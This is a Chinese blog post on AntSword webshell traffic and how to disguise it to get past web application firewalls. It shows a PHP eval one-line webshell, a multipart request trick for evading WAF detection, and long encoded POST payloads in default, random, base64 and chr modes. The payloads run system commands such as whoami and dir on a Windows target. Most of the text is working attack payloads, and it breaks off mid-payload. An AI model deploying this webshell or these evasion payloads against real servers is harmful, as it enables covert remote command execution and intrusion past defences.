蚁剑流量分析到改装蚁剑之waf 绕过

2019-04-21 13:50:07 15 宅独青年丶 12858

1. 蚁剑流量分析

1. 环境如下

靶机 windows 2008 R2 攻击机器 win10 蚁剑2.0.4

1. 木马如下：

<?php eval($_POST[1]) ?>

蚁剑编辑器有如下几种

还有一种传递方式

加上这个mulipart 发包之后。数据包会像如下这样
multipart/form-data

POST [url]http://www.example.com[/url] HTTP/1.1

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA



------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="text"



title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="file"; filename="chrome.png"

Content-Type: image/png



PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

这样的一种传值方式。如果不懂如下链接 https://blog.csdn.net/supwuq/article/details/50765149

这种方式可以干扰waf的判断。有时候可以达到一种绕过waf 的效果

2. 流量如下：

蚁剑流量（（默认）

1=%40ini_set%28%22display_errors%22%2C%20%220%22%29%3B%40set_time_limit%280%29%3Becho%20%22df498%22%3B%24p%3Dbase64_decode%28%24_POST%5B%220xa4bd371dcaee8%22%5D%29%3B%24s%3Dbase64_decode%28%24_POST%5B%220xcb432ab178248%22%5D%29%3B%24d%3Ddirname%28%24_SERVER%5B%22SCRIPT_FILENAME%22%5D%29%3B%24c%3Dsubstr%28%24d%2C0%2C1%29%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3B%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe%28%24f%29%7B%24d%3Dexplode%28%22%2C%22%2C%40ini_get%28%22disable_functions%22%29%29%3Bif%28empty%28%24d%29%29%7B%24d%3Darray%28%29%3B%7Delse%7B%24d%3Darray_map%28%27trim%27%2Carray_map%28%27strtolower%27%2C%24d%29%29%3B%7Dreturn%28function_exists%28%24f%29%26%26is_callable%28%24f%29%26%26%21in_array%28%24f%2C%24d%29%29%3B%7D%3Bfunction%20runcmd%28%24c%29%7B%24ret%3D0%3Bif%28fe%28%27system%27%29%29%7B%40system%28%24c%2C%24ret%29%3B%7Delseif%28fe%28%27passthru%27%29%29%7B%40passthru%28%24c%2C%24ret%29%3B%7Delseif%28fe%28%27shell_exec%27%29%29%7Bprint%28%40shell_exec%28%24c%29%29%3B%7Delseif%28fe%28%27exec%27%29%29%7B%40exec%28%24c%2C%24o%2C%24ret%29%3Bprint%28join%28%22%0A%22%2C%24o%29%29%3B%7Delseif%20%28fe%28%27popen%27%29%29%7B%24fp%3D%40popen%28%24c%2C%27r%27%29%3Bwhile%28%21%40feof%28%24fp%29%29%7Bprint%28%40fgets%28%24fp%2C%202048%29%29%3B%7D%40pclose%28%24fp%29%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd%28%24r.%22%202%3E%261%22%29%3Bprint%20%28%24ret%21%3D0%29%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3Becho%20%22f740d%22%3Bdie%28%29%3B&0xa4bd371dcaee8=Y21k&0xcb432ab178248=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImbW9yZSAxMS5waHAmZWNobyBbU10mY2QmZWNobyBbRV0%3D

蚁剑流量 Random 模式

1=%40eVAl%28cHr%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%28112%29.ChR%28108%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28101%29.ChR%28114%29.ChR%28114%29.ChR%28111%29.ChR%28114%29.ChR%28115%29.ChR%2834%29.ChR%2844%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%2864%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2895%29.ChR%28116%29.ChR%28105%29.ChR%28109%29.ChR%28101%29.ChR%2895%29.ChR%28108%29.ChR%28105%29.ChR%28109%29.ChR%28105%29.ChR%28116%29.ChR%2840%29.ChR%2848%29.ChR%2841%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2850%29.ChR%2855%29.ChR%2898%29.ChR%2848%29.ChR%28100%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28112%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2851%29.ChR%28100%29.ChR%28100%29.ChR%2857%29.ChR%2851%29.ChR%2856%29.ChR%2848%29.ChR%2897%29.ChR%2856%29.ChR%28102%29.ChR%28100%29.ChR%28101%29.ChR%2857%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28115%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2849%29.ChR%2854%29.ChR%2850%29.ChR%2851%29.ChR%2856%29.ChR%2855%29.ChR%2851%29.ChR%2851%29.ChR%28101%29.ChR%2855%29.ChR%2899%29.ChR%28101%29.ChR%2849%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28100%29.ChR%28105%29.ChR%28114%29.ChR%28110%29.ChR%2897%29.ChR%28109%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2883%29.ChR%2869%29.ChR%2882%29.ChR%2886%29.ChR%2869%29.ChR%2882%29.ChR%2891%29.ChR%2834%29.ChR%2883%29.ChR%2867%29.ChR%2882%29.ChR%2873%29.ChR%2880%29.ChR%2884%29.ChR%2895%29.ChR%2870%29.ChR%2873%29.ChR%2876%29.ChR%2869%29.ChR%2878%29.ChR%2865%29.ChR%2877%29.ChR%2869%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%2899%29.ChR%2861%29.ChR%28115%29.ChR%28117%29.ChR%2898%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2844%29.ChR%2848%29.ChR%2844%29.ChR%2849%29.ChR%2841%29.ChR%2861%29.ChR%2861%29.ChR%2834%29.ChR%2847%29.ChR%2834%29.ChR%2863%29.ChR%2834%29.ChR%2845%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2847%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%2861%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28112%29.ChR%28125%29.ChR%2832%29.ChR%28123%29.ChR%2836%29.ChR%2899%29.ChR%28125%29.ChR%2834%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28101%29.ChR%28120%29.ChR%28112%29.ChR%28108%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2834%29.ChR%2844%29.ChR%2834%29.ChR%2844%29.ChR%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2895%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%28115%29.ChR%2834%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28101%29.ChR%28109%29.ChR%28112%29.ChR%28116%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28116%29.ChR%28114%29.ChR%28105%29.ChR%28109%29.ChR%2839%29.ChR%2844%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%28116%29.ChR%28111%29.ChR%28108%29.ChR%28111%29.ChR%28119%29.ChR%28101%29.ChR%28114%29.ChR%2839%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2840%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28105%29.ChR%28115%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%28105%29.ChR%28115%29.ChR%2895%29.ChR%2899%29.ChR%2897%29.ChR%28108%29.ChR%28108%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%2833%29.ChR%28105%29.ChR%28110%29.ChR%2895%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2848%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%28106%29.ChR%28111%29.ChR%28105%29.ChR%28110%29.ChR%2840%29.ChR%2834%29.ChR%2810%29.ChR%2834%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2832%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2861%29.ChR%2864%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2839%29.ChR%28114%29.ChR%2839%29.ChR%2841%29.ChR%2859%29.ChR%28119%29.ChR%28104%29.ChR%28105%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2833%29.ChR%2864%29.ChR%28102%29.ChR%28101%29.ChR%28111%29.ChR%28102%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28102%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2844%29.ChR%2832%29.ChR%2850%29.ChR%2848%29.ChR%2852%29.ChR%2856%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2864%29.ChR%28112%29.ChR%2899%29.ChR%28108%29.ChR%28111%29.ChR%28115%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2832%29.ChR%2861%29.ChR%2832%29.ChR%2849%29.ChR%2850%29.ChR%2855%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2832%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2864%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%2846%29.ChR%2834%29.ChR%2832%29.ChR%2850%29.ChR%2862%29.ChR%2838%29.ChR%2849%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2832%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2833%29.ChR%2861%29.ChR%2848%29.ChR%2841%29.ChR%2863%29.ChR%2834%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28125%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2857%29.ChR%28102%29.ChR%2850%29.ChR%2850%29.ChR%2898%29.ChR%2834%29.ChR%2859%29.ChR%28100%29.ChR%28105%29.ChR%28101%29.ChR%2840%29.ChR%2841%29.ChR%2859%29%29%3B&0x16238733e7ce1=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0x3dd9380a8fde9=Y21k

蚁剑 base64模式

1=%40eval%28%40base64_decode%28%24_POST%5B_0x769a4b11ae651%5D%29%29%3B&0x581a0a5256889=Y21k&0x9ca6216ef4a01=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&_0x769a4b11ae651=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiNDA2ZWUiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDU4MWEwYTUyNTY4ODkiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4OWNhNjIxNmVmNGEwMSJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjNjZTYwIjtkaWUoKTs%3D

Chr 模式

1=%40eVAl%28cHr%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%28112%29.ChR%28108%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28101%29.ChR%28114%29.ChR%28114%29.ChR%28111%29.ChR%28114%29.ChR%28115%29.ChR%2834%29.ChR%2844%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%2864%29.ChR%28115%29.ChR%28101%29.ChR%28116%29.ChR%2895%29.ChR%28116%29.ChR%28105%29.ChR%28109%29.ChR%28101%29.ChR%2895%29.ChR%28108%29.ChR%28105%29.ChR%28109%29.ChR%28105%29.ChR%28116%29.ChR%2840%29.ChR%2848%29.ChR%2841%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2848%29.ChR%2849%29.ChR%2854%29.ChR%2899%29.ChR%2857%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28112%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2857%29.ChR%2857%29.ChR%28101%29.ChR%2898%29.ChR%28102%29.ChR%2855%29.ChR%2853%29.ChR%28102%29.ChR%28100%29.ChR%2852%29.ChR%2854%29.ChR%2857%29.ChR%2853%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28115%29.ChR%2861%29.ChR%2898%29.ChR%2897%29.ChR%28115%29.ChR%28101%29.ChR%2854%29.ChR%2852%29.ChR%2895%29.ChR%28100%29.ChR%28101%29.ChR%2899%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2880%29.ChR%2879%29.ChR%2883%29.ChR%2884%29.ChR%2891%29.ChR%2834%29.ChR%2848%29.ChR%28120%29.ChR%2897%29.ChR%2848%29.ChR%2848%29.ChR%2853%29.ChR%2850%29.ChR%2850%29.ChR%2856%29.ChR%2855%29.ChR%2857%29.ChR%2848%29.ChR%2852%29.ChR%2848%29.ChR%2857%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28100%29.ChR%28105%29.ChR%28114%29.ChR%28110%29.ChR%2897%29.ChR%28109%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%2895%29.ChR%2883%29.ChR%2869%29.ChR%2882%29.ChR%2886%29.ChR%2869%29.ChR%2882%29.ChR%2891%29.ChR%2834%29.ChR%2883%29.ChR%2867%29.ChR%2882%29.ChR%2873%29.ChR%2880%29.ChR%2884%29.ChR%2895%29.ChR%2870%29.ChR%2873%29.ChR%2876%29.ChR%2869%29.ChR%2878%29.ChR%2865%29.ChR%2877%29.ChR%2869%29.ChR%2834%29.ChR%2893%29.ChR%2841%29.ChR%2859%29.ChR%2836%29.ChR%2899%29.ChR%2861%29.ChR%28115%29.ChR%28117%29.ChR%2898%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2844%29.ChR%2848%29.ChR%2844%29.ChR%2849%29.ChR%2841%29.ChR%2861%29.ChR%2861%29.ChR%2834%29.ChR%2847%29.ChR%2834%29.ChR%2863%29.ChR%2834%29.ChR%2845%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2847%29.ChR%2899%29.ChR%2832%29.ChR%2892%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28115%29.ChR%28125%29.ChR%2892%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%2861%29.ChR%2834%29.ChR%28123%29.ChR%2836%29.ChR%28112%29.ChR%28125%29.ChR%2832%29.ChR%28123%29.ChR%2836%29.ChR%2899%29.ChR%28125%29.ChR%2834%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%28101%29.ChR%28120%29.ChR%28112%29.ChR%28108%29.ChR%28111%29.ChR%28100%29.ChR%28101%29.ChR%2840%29.ChR%2834%29.ChR%2844%29.ChR%2834%29.ChR%2844%29.ChR%2864%29.ChR%28105%29.ChR%28110%29.ChR%28105%29.ChR%2895%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%2840%29.ChR%2834%29.ChR%28100%29.ChR%28105%29.ChR%28115%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2895%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%28115%29.ChR%2834%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28101%29.ChR%28109%29.ChR%28112%29.ChR%28116%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28100%29.ChR%2861%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28116%29.ChR%28114%29.ChR%28105%29.ChR%28109%29.ChR%2839%29.ChR%2844%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2895%29.ChR%28109%29.ChR%2897%29.ChR%28112%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28116%29.ChR%28114%29.ChR%28116%29.ChR%28111%29.ChR%28108%29.ChR%28111%29.ChR%28119%29.ChR%28101%29.ChR%28114%29.ChR%2839%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2840%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28105%29.ChR%28115%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%